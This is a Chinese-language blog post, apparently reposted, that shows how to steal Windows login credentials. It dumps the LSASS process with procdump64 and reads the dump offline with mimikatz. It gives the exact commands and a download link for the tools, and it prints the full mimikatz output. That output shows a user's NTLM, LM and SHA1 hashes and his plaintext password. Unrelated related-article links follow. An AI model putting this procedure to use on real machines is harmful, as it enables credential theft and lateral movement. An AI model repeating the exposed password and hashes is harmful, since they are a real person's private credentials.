mimakatz用法_两步完成利用procdump64+mimikatz获取win用户密码
使用procdump64+mimikatz可实现从内存中获取明文密码
工具
链接：https://pan.baidu.com/s/1gNc9qLcNSNBohIVrAiqShw 密码：fc38
首先得先获取到内存文件lsass.exe进程, 它用于本地安全和登陆策略,一般在进程管理器中能看到, 比如这样
1.导出lsass.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
(注:必须使用管理员权限)
ProcDump v8.0 - Writes process dump files
Copyright (C) 2009-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
With contributions from Andrew Richards
[15:33:26] Dump 1 initiated: C:\Users\chenglee\Desktop\Procdump\lsass.dmp
[15:33:28] Dump 1 writing: Estimated dump file size is 34 MB.
[15:33:28] Dump 1 complete: 34 MB written in 1.4 seconds
[15:33:28] Dump count reached.
2.执行mimikatz
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
(注:必须使用管理员权限)
ECHO 处于打开状态。
.#####. mimikatz 2.1.1 (x64) built on Jun 16 2018 18:49:05 - lil!
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'
mimikatz(commandline) # sekurlsa::logonPasswords full
Opening : 'lsass.dmp' file for minidump...
Authentication Id : 0 ; 137859 (00000000:00021a83)
Session : Interactive from 1
User Name : chenglee
Domain : chenglee-PC
Logon Server : CHENGLEE-PC
Logon Time : 2018/7/25 15:06:35
SID : S-1-5-21-452281122-3045282507-3243563612-1000
msv :
[00000003] Primary
* Username : chenglee
* Domain : chenglee-PC
* LM : 9cffd5e7eefa14babacbf0b4adf55fde
* NTLM : 8d0f8e1a18236379538411a9056799f5
* SHA1 : 989281f47698b73e026160e842d86bc64c9e3c20
tspkg :
* Username : chenglee
* Domain : chenglee-PC
* Password : lizhenghua
wdigest :
* Username : chenglee
* Domain : chenglee-PC
* Password : lizhenghua
kerberos :
* Username : chenglee
* Domain : chenglee-PC
* Password : lizhenghua
ssp :
credman :
Authentication Id : 0 ; 137821 (00000000:00021a5d)
Session : Interactive from 1
User Name : chenglee
Domain : chenglee-PC
Logon Server : CHENGLEE-PC
Logon Time : 2018/7/25 15:06:35
SID : S-1-5-21-452281122-3045282507-3243563612-1000
msv :
[00000003] Primary
* Username : chenglee
* Domain : chenglee-PC
* LM : 9cffd5e7eefa14babacbf0b4adf55fde
* NTLM : 8d0f8e1a18236379538411a9056799f5
* SHA1 : 989281f47698b73e026160e842d86bc64c9e3c20
tspkg :
* Username : chenglee
* Domain : chenglee-PC
* Password : lizhenghua
wdigest :
* Username : chenglee
* Domain : chenglee-PC
* Password : lizhenghua
kerberos :
* Username : chenglee
* Domain : chenglee-PC
* Password : lizhenghua
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2018/7/25 15:06:15
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : CHENGLEE-PC$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2018/7/25 15:06:15
SID : S-1-5-20
msv :
tspkg :
wdigest :
* Username : CHENGLEE-PC$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : chenglee-pc$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 48630 (00000000:0000bdf6)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2018/7/25 15:06:06
SID :
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : CHENGLEE-PC$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2018/7/25 15:06:05
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : CHENGLEE-PC$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : chenglee-pc$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
mimikatz(commandline) # exit
Bye!
看, 密码[lizhenghua]处于明文暴露状态.
如果不是使用管理员模式运行cmd会报错,
mimakatz用法_两步完成利用procdump64+mimikatz获取win用户密码相关推荐
- Win7如何利用系统放大镜工具更改用户密码
Win7如何利用系统放大镜工具更改用户密码 工具:win7原始光盘或镜像 放大镜工具magnify.exe cmd.exe 1. 首先,打开计算机电源,到系统登录界面 2. ...
- java 自定义注解_两步实现Java自定义注解
什么是注解? 注解就是为容器提供元数据,例如@Controller 注解则是标记了该Bean需要交给Spring容器进行管理. 那么我们怎么去实现自个的注解,也就是自定义注解呢? 一.自定义一个注解( ...
- 堆垛机器人编程技巧_两步变身老鸟，手把手教你提升ABB机器人编程技巧！（二）...
原标题:两步变身老鸟,手把手教你提升ABB机器人编程技巧!(二) 1 双机器人与变位机编程 第一:如下图,双机器人+变位机系统,使用Multimove,(即一台控制器,一个示教器,三个运动任务) 第二 ...
- 两步路轨迹文件位置_两步路户外助手新手使用指南
1 主界面介绍: 2 功能介绍 ★ 支持多种户外地图:谷歌卫星地图.等高线地图.高德矢量地图.高德卫星地图.谷歌城市交通地图.谷歌地形图.OCM+Landscape地形图等,支持等高线地图叠加,并可下 ...
- 两步路轨迹文件位置_“两步路·户外助手”，被拟入北京高中地理活动教材
好消息传来!"两步路·户外助手"被拟入北京市房山区高中学生的地理综合实践活动设计教材--<房山区高中地理综合实践活动设计>.地质出版社的邮件里如是说:'让房山区的所有高 ...
- 两步路轨迹文件位置_两步路图源文件技术说明与制作教程
下文的阅读需要一定的代码方面的基础,但胜在浅显易懂. 重要知识1:两步路的图源文件的后缀为.xms. 重要知识2:点击两步路图源文件,选择用两步路户外助手打开,按照提示就能够完成导入. 重要知识3:一 ...
- 利用MS-SAMR协议修改/重置用户密码
[TOC] 本文为Windows RPC利用系列文章的第一篇,主要介绍关于MS-SAMR的部分利用,在后续的文章中将继续介绍RPC在渗透测试中的应用 作者: Loong716@Amulab 在渗透测试 ...
- 利用MS-SAMR协议修改/还原用户密码
在实战中,我们经常会碰到这么一种场景.拿到域控的权限了,把域内所有用户哈希都导出来了.为了找靶标,需要登录指定用户的机器或其他web系统,但是指定用户的hash未能解除明文密码,而RDP和web又不支 ...
- vue foreach用法_两年前端er，JS和Vue，面试被问了哪些问题呢？有点简单啊
上午跟一个大学学妹聊天,聊起了她近期的一次面试. 她的概况,工作两年不到,薪资要求在8-10K之间,技术栈Vue,想在大一点的团队工作,因为之前都是一个人做前端. 以下是问及的一些问题(我做了一些简单 ...
最新文章
- HSSFWorkbook 与 XSSFWorkbook
- 修改 Docker 的默认存储路径
- Ubuntu Server系列各项服务的安装和维护 Apache部分
- lepus mysql 慢查询_天兔 -Lepus 慢查询分析平台配置
- 批处理命令无法连续执行
- java调用dubbo服务器_dubbo源码分析-服务端注册流程-笔记
- 怎样在PropertySheet中添加按钮
- docker php gd png.h,docker php 容器安装GD库
- 唯有创新不可辜负！混合集成成就云时代创新
- linux 帐号 配置sftp_Linux 下sftp配置之密钥方式登录详解
- C#打印代码运行时间
- iOS HealthKit
- 坐标反算计算起始方位角_谁会坐标正算反算的公式，怎么计算两个坐标的方位角...
- 规范布线系统光纤跳线管理
- 深入分析Kafka架构（三）：消费者消费方式、三种分区分配策略、offset维护
- 红米手机开发版怎么样获取ROOT权限
- 电子邮箱是什么，电子邮箱注册值得入手的邮箱都在这！
- 芯片启动：从Bootrom到Linux完整启动流程
- css中100vh 加减运算
- 计算机的用途英语作文带翻译,关于计算机的英文作文带翻译